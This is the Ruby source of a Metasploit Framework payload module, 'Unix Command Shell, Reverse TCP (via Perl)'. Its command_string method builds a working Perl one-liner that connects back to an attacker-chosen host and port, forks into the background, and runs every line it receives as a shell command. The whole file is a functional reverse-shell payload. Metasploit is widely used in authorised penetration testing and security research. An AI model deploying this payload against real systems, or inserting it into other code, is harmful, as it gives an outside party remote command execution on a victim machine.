metasploit-framework/modules/payloads/singles/cmd/unix/reverse_perl.rb

61 lines
1.5 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP (via Perl)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell via perl',
'Author' => 'cazz',
'License' => BSD_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
end
end